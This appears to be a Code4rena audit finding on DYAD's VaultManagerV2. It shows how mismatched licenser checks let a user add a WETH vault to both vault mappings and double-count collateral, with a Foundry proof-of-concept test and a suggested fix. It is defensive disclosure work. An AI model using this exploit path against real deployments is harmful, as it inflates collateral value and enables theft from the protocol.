# Users cannot add KerosineVault to vaultsKerosene, regular vaults' collateral may be double-counted
## Impact
The system is designed with the vaultsKerosene mapping storing vaultsKerosene, and vaults storing other vaults (currently only WETH and wstETH).   

However, incorrect implementation of the add and remove functions in the VaultManagerV2 contract results in the system deviating from its design.  

From Deploy.V2.s.sol, it can be seen that all vaults will be added to the Licenser contract. The KerosineManager contract is used to store regular vaults used for LVT valuation (WETH and wstETH).   

However, in the VaultManagerV2 contract, it mistakenly assumes that WETH and wstETH vaults will be added to the Licenser contract, and vaultsKerosene will be added to the KerosineManager contract.
GitHub:[https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L67](https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L67)
```solidity
function add(uint id, address vault) external isDNftOwner(id) {
    if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults();
    if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed();
    if (!vaults[id].add(vault)) revert VaultAlreadyAdded();
    emit Added(id, vault);
}

function addKerosene(uint id, address vault) external isDNftOwner(id) {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE)
        revert TooManyVaults();
    if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded();
    emit Added(id, vault);
}
```
This leads to the following consequences:
1. Users can add vaultsKerosene to the vaults mapping, meaning Kerosine will also participate in the calculation of the value of the getNonKeroseneValue function.
2. Users can repeatedly add regular vaults used for valuation in the KerosineManager contract to vaultsKerosene, causing them to be double-counted in value calculation.

## Proof of Concept

Below is part of the test code:  

```solidity

function testValutAddError() public {
    testLicenseVaultManager();

    address addr1 = makeAddr("addr1");

    deal(MAINNET_WETH, addr1, 10e18);
    assertEq(IERC20(MAINNET_WETH).balanceOf(addr1), 10e18);

    vm.startPrank(MAINNET_OWNER);
    uint256 id1 = DNft(MAINNET_DNFT).mintInsiderNft(addr1);
    IERC20(MAINNET_KEROSENE).transfer(addr1, 10e18);
    assertEq(IERC20(MAINNET_KEROSENE).balanceOf(addr1), 10e18);
    vm.stopPrank();

    vm.startPrank(addr1);
    //deposit weth
    contracts.vaultManager.add(id1, address(contracts.ethVault));
    IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), 1e18);

    contracts.vaultManager.deposit(id1, address(contracts.ethVault), 1e18);
    console.log("AfterDepositInWETHVault noKerosineVaultValue:");
    console.log(contracts.vaultManager.getNonKeroseneValue(id1));

    //repeat add weth
    console.log("Before repeat add wethVault totalValue:");
    console.log(contracts.vaultManager.getTotalUsdValue(id1));
    contracts.vaultManager.addKerosene(id1, address(contracts.ethVault));
    console.log("After repeat add wethVault totalValue:");
    console.log(contracts.vaultManager.getTotalUsdValue(id1));
    vm.stopPrank();
}
```

## Tools Used
Manual audit, foundry

## Recommended Mitigation Steps
Add a mapping in the licenser contract to store the Kerosine vaults:

```solidity
contract Licenser is Owned(msg.sender) {
mapping(address => bool) public isLicensed;
mapping(address => bool) public isKerosineLicensed;
constructor() {}

function add(address vault) external onlyOwner {
    isLicensed[vault] = true;
}
function addKerosine(address vault) external onlyOwner {
    isKerosineLicensed[vault] = true;
}
function remove(address vault) external onlyOwner {
    isLicensed[vault] = false;
}
function removeKerosine(address vault) external onlyOwner {
    isKerosineLicensed[vault] = false;
}
}
```
VaultManager Contract  
```solidity
function addKerosene(uint id, address vault) external isDNftOwner(id) {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE)
        revert TooManyVaults();
    if (!vaultLicenser.isKerosineLicensed(vault)) revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded();
    emit Added(id, vault);
}
function removeKerosene(uint id, address vault) external isDNftOwner(id) {
    if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();
    if (!vaultLicenser.isKerosineLicensed(vault)) revert VaultNotLicensed();
    emit Removed(id, vault);
}
```